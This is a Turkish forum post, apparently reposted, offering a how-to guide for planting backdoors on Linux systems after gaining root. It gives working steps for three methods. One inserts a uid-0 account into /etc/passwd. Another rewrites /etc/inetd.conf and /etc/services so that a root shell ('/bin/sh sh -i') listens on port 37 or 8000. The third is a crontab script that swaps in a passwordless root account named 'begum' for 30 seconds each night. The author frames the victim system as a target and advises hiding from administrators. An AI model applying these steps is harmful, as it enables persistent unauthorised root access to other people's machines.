http://www.forumtr.com/showthread. php?t=77006birde butazıya bakın aynı yazı ftw

Backdoor Nedir, Nasıl Kullanılır . MeRHabA!!! Bu seferki yazımın konusu arka kapılar, size birkaç arka kapı gstereceğim. Çok karışık olmayanlarından, yani kendi Linux'ünüzde yazıyı okur okumaz deneyebilirsiniz, ve ayrıca gstereceğim arka kapılardan yola çıkıp hayal gücünüzü de kullanarak, çok hoş arka kapılar yapabilirsiniz.. Yalnız arka kapılar "root" elde etmek için değildir. Arka kapılar çok çalışıp zorla elde ettiğiniz "root"'u sistemde güvenlik delikleri oluşturarak bir sonraki geri dnüşünüz için elinizde tutmanız içindir. Herneyse, diyelim ki çok aceleniz var ve hemen bir arka kapı oluşturmak istiyorsunuz. /etc/passwd dosyasını hemen bir programla açıp ortalarına bir yere şüphe çekmeyecek bir root hesabı ekleyin ya da dosyanın derinlerinde bir yerlerde sistem yneticisinin daha nceden dondurduğu bir hesabın uid'ini 0 yapın ve işaretini kaldırın. Bunlar zorunlu kalmadıkça kullanılmaması gereken yntemlerdir ve sistem yneticisinin en çabuk fark edeceği kapılardır. Bu yüzden ZORUNLU KALMADIKÇA KULLANMAYIN!!! Şimdi geldik bir inetd. conf arka kapısına! Ama en eğlencelisini sona sakladım.. hehe... Inetd, sistemin portlarını yükleyen bir programdır ve aynı zamanda arka kapılar için de çok uygundur. Gerçi /etc/inetd. conf dosyasında değişiklik yapılarak yaratılan arka kapıların yaşam süresi sistem yneticisine gre değişir. Pek uzun yaşayacaklarını hiç sanmıyorum; fakat denemeye değer. Aşağıda kendi bilgisayarımdaki Linux'den aldığım bir /etc/inetd. conf rneği var. #ftp stream tcp nowait root /usr/sbin/tcpd in. ftpd -l -a#telnet stream tcp nowait root /usr/sbin/tcpd in. telnetd#gopher stream tcp nowait root /usr/sbin/tcpd gn#nntp stream tcp nowait root /usr/sbin/tcpd in. nntpd#shell stream tcp nowait root /usr/sbin/tcpd in. rshd#login stream tcp nowait root /usr/sbin/tcpd in. rlogind#exec stream tcp nowait root /usr/sbin/tcpd in. rexecd#talk dgram udp wait root /usr/sbin/tcpd in. talkd#ntalk dgram udp wait root /usr/sbin/tcpd in. ntalkd#dtalk stream tcp waut nobody /usr/sbin/tcpd in. dtalkd#pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d#pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d#imap stream tcp nowait root /usr/sbin/tcpd imapd#uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l#tftp dgram udp wait root /usr/sbin/tcpd in. tftpd#bootps dgram udp wait root /usr/sbin/tcpd bootpdfinger stream tcp nowait root /usr/sbin/tcpd in. fingerd -l#cfingerstream tcp nowait root /usr/sbin/tcpd in. cfingerd#systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx#netstatstream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet#time stream tcp nowait nobody /usr/sbin/tcpd in. timed#time dgram udp wait nobody /usr/sbin/tcpd in. timed#auth stream tcp nowait nobody /usr/sbin/in. identd in. identd -l -e -o# işareti Linux'e o satırı okumamasını sağlıyor. Grdüğünüz gibi benim sadece telnet ve finger portlarım açık. Aslında normalde ben hiç bir portumu açık bırakmam, ama bu aralar açık işte Şimdi "Bunlarda nedir?" diye soracaksınız. Telnet'i ele alalım. Satırdaki birinci blüm çalıştırılacak daemon'un, yani, programın ismidir. İkinci blümdeki stream socket tipidir. TCP'nin socketi stream, UDP'ninkiyse dgram. Sonraki blümde ise protocol ismini grüyorsunuz. Sonraki blümdeyse programın hangi kullanıcı türü olarak çalışacağı belirlenir. Yani telnet root (uid=0) olarak çalışacak. Beşinci blümde ise programın bulunduğu dizin var; fakat benim inetd. conf dosyamda /usr/sbin/tcpd'yi grüyorsunuz. Tcpd güvenlik için bazı bilgileri kaydeden bir daemon olduğuna gre, burada telnetin hareketleri normalde olduğundan fazla kaydediliyor. Son blümdeyse daemonun paremetreleriyle beraber gerçek ismini grüyorsunuz. Bir de daemonların hangi portları ve protocolleri kullandığını içeren /etc/services dosyası vardır. Bu dosya sayesinde 23 olan telnet portunu, 7000 yapabiliriz Aşağıda bir services rneği var:tcpmux 1/tcp # rfc-1078echo 7/tcpecho 7/udpdiscard 9/tcp sink nulldiscard 9/udp sink nullsystat 11/tcp usersdaytime 13/tcpdaytime 13/udpnetstat 15/tcpqotd 17/tcp quotechargen 19/tcp ttytst sourcechargen 19/udp ttytst sourceftp-data 20/tcpftp 21/tcptelnet 23/tcpsmtp 25/tcp mailtime 37/tcp timservertime 37/udp timserverrlp 39/udp resource # resource locationname 42/udp nameserverwhois 43/tcp nicname # usually to sri-nicdomain 53/tcpdomain 53/udpmtp 57/tcp # deprecatedbootps 67/udp # bootp serverbootpc 68/udp # bootp clienttftp 69/udpgopher 70/tcp # gopher serverrje 77/tcpfinger 79/tcphttp 80/tcp # www is used by some brokenwww 80/tcp # progs, http is more correctlink 87/tcp ttylinkkerberos 88/udp kdc # Kerberos authentication--udpkerberos 88/tcp kdc # Kerberos authentication--tcpsupdup 95/tcp # BSD supdupd(8)hostnames 101/tcp hostname # usually to sri-niciso-tsap 102/tcpx400 103/tcp # ISO Mailx400-snd 104/tcpcsnet-ns 105/tcppop-2 109/tcp # PostOffice V.2pop-3 110/tcp # PostOffice V.3pop 110/tcp # PostOffice V.3sunrpc 111/tcpsunrpc 111/tcp portmapper # RPC 4.0 portmapper UDPsunrpc 111/udpsunrpc 111/udp portmapper # RPC 4.0 portmapper TCPauth 113/tcp ident # User Verificationsftp 115/tcpuucp-path 117/tcpnntp 119/tcp usenet # Network News Transferntp 123/tcp # Network Time Protocolntp 123/udp # Network Time Protocolnetbios-ns 137/tcp nbnsnetbios-ns 137/udp nbnsnetbios-dgm 138/tcp nbdgmnetbios-dgm 138/udp nbdgmnetbios-ssn 139/tcp nbssnimap 143/tcp # imap network mail protocolNeWS 144/tcp news # Window Systemsnmp 161/udpsnmp-trap 162/udpexec 512/tcp # BSD rexecd(8)biff 512/udp comsatlogin 513/tcp # BSD rlogind(8)who 513/udp whod # BSD rwhod(8)shell 514/tcp cmd # BSD rshd(8)syslog 514/udp # BSD syslogd(8)printer 515/tcp spooler # BSD lpd(8)talk 517/udp # BSD talkd(8)ntalk 518/udp # SunOS talkd(8)efs 520/tcp # for LucasFilmroute 520/udp router routed # 521/udp tootimed 525/udp timeservertempo 526/tcp newdatecourier 530/tcp rpc # experimentalconference 531/tcp chatnetnews 532/tcp readnewsnetwall 533/udp # -for emergency broadcastsuucp 540/tcp uucpd # BSD uucpd(8) UUCP serviceklogin 543/tcp # Kerberos authenticated rloginkshell 544/tcp cmd # and remote shellnew-rwho 550/udp new-who # experimentalremotefs 556/tcp rfs_server rfs # Brunhoff remote filesystemrmonitor 560/udp rmonitord # experimentalmonitor 561/udp # experimentalpcserver 600/tcp # ECD Integrated PC board srvrmount 635/udp # NFS Mount Servicepcnfs 640/udp # PC-NFS DOS Authenticationbwnfs 650/udp # BW-NFS DOS Authenticationkerberos-adm 749/tcp # Kerberos 5 admin/changepwkerberos-adm 749/udp # Kerberos 5 admin/changepwkerberos-sec 750/udp # Kerberos authentication--udpkerberos-sec 750/tcp # Kerberos authentication--tcpkerberos_master 751/udp # Kerberos authenticationkerberos_master 751/tcp # Kerberos authenticationkrb5_prop 754/tcp # Kerberos slave propagationlisten 1025/tcp listener RFS remote_file_sharingnterm 1026/tcp remote_login network_terminalkpop 1109/tcp # Pop with Kerberosingreslock 1524/tcptnet 1600/tcp # transputer net daemoncfinger 2003/tcp # GNU fingernfs 2049/udp # NFS File Serviceeklogin 2105/tcp # Kerberos encrypted rloginkrb524 4444/tcp # Kerberos 5 to 4 ticket xlatorirc 6667/tcp # Internet Relay Chatdos 7000/tcp msdosBuraya istediğinizi ekleyebilirsiniz. rneğin; ircyi ele alalım. Baştaki "irc" szcüğü /etc/inetd. conf'un içinde yer alacak olan isim, 6667 port numarası, tcp protokol tipi, # işaretinden sonraki blümse açıklaması. Artık bu anlattıklarımdan sonra, kapıyı nasıl koyacağınızı anlatacağım. Kendi servisinizi yükleyebilirsiniz ya da nceden yüklenmiş bir servisi değiştirebilirsiniz. rneğin, kurbanımız time olsun. time stream tcp nowait nobody /usr/sbin/tcpd in. timedTime'ın port numarası services dosyasında 37 olarak belirlendiği için services dosyasını değiştirmeye gerek yok. nemli olan son üç blüm. Kapımızın root olarak çalışması şart olduğu için nobody yerine root yazın. /usr/sbin/tcpd yerine /bin/sh yazın. Ve son olarak in. timed yerine sh -i yazın. Satırın aynı aşağıdaki gibi olması gerekiyor:time stream tcp nowait root /bin/sh sh -iHepsi bu kadar! Eğer isterseniz riske girip ynetici yerine siz "killall -HUP inetd" yazarak dosyayı tekrar okutabilirsiniz ya da biraz bekleyebilirsiniz. Şimdi tek yapacağınız port 37'ye telnet çekmek. Root olarak sistemde bulacaksınız kendinizi... heuehuhu... Tek yapacağınız kapınızı /etc/services dosyasına tanıtmak ve inetd. conf'a eklemek. İşte size bir rnek:inetd. conf --&gt; filter stream tcp nowait root /bin/sh sh -iservices --&gt; filter 8000/tcp backdoorİşte bu kadar. Şimdi tek yapacağınız "killall -HUP inetd" yazıp, port 8000'e telnet çekmek. Hiç zor değil... Ama bu kapılar daha nce de dediğim gibi hemen fark edilir. Peki hangileri hemen fark edilmez? C dosyası şeklinde olan truva atları tabii ki! Ve son olarak /etc/crontab kapılarına geldik. Sadece bir tane rnek vereceğim, çünkü hayal gücünüzü kullanarak bir sürü değişik kapı üretebilirsiniz. Crond istediğiniz zamanda istediğiniz işlemi yapmanızı sağlayan çok yararlı bir araçtır. Şimdiki rnekte, crond 30 saniyeliğine begüm isimli bir kullanıcıyı aktif hale getiriyor. Basit ama etkili br rnek. Nasıl mı yapacaksınız? Çok basit, sadece /etc/crontab dosyasına bir satır gireceksiniz ve birkaç shell dosyası yapacaksınız. Tabii ki biraz unix bilginizin olduğunu düşünüyorum. Aşağıda crontab dosyasındaki alanların açıklamaları var:(1) (2) (3) (4) (5) (6)dakika saat gün ay haftanınçalıştırılacak komut ya da dosya0-59 0-23 1-31 1-12 0-6günüŞimdi /var/spool/crond/ ya da /var/spool/mail/ dizinlerinden biri mutlaka olacaktır. Varsa /var/spool/crond/, yoksa /var/spool/mail/ dizininin içine gidip "begum" adlı bir dosya yaratın ve bu dosyanın içine şunları girin:30 23 sh /usr/bin/testSonra /usr/bin/ dizinine gidin ve test adlı bir dosya yaratıp şu değişiklikleri yapın:cp /etc/passwd /etc/passwddrm /etc/passwdcp /etc/tester /etc/passwdsleep 30rm /etc/passwdcp /etc/passwdd /etc/passwdDaha sonra /etc/'ye gidip tester adlı bir dosya yaratıp aşağıdakileri girin:begum::0:0:Begum Atac:/:/bin/bashİşte arka kapınız hazır! Her gün saat 23:30'da 30 saniyeliğine gerçek passwd dosyası yerine kendi begum isimli root hesabımızı aktif hale getiriyoruz! Bu çok basit ve bir çok insanın bildiği bir kapıdır. Tabii ki hayal gücünüz sayesinde çok daha karmaşık ve iyilerini yaratabilirsiniz. Hepsi bu kadar... Size anlattıklarımı başka yerlerde de okumuş olabilirsiniz. Bana mail atıp kopyaladğımı sylemeyin! Neden mi? Çünkü bunlar en çok bilinen kapılardır, bu nedenle başkalarının da anlatmış olması çok normal! Herneyse, belki başka bir sayıda karışık arka kapı rnekleri veririm, şimdilik bu kadar. Kendinize iyi bakın!.

verdiğin adresde altıntı... herneyse birilerinin işine yarar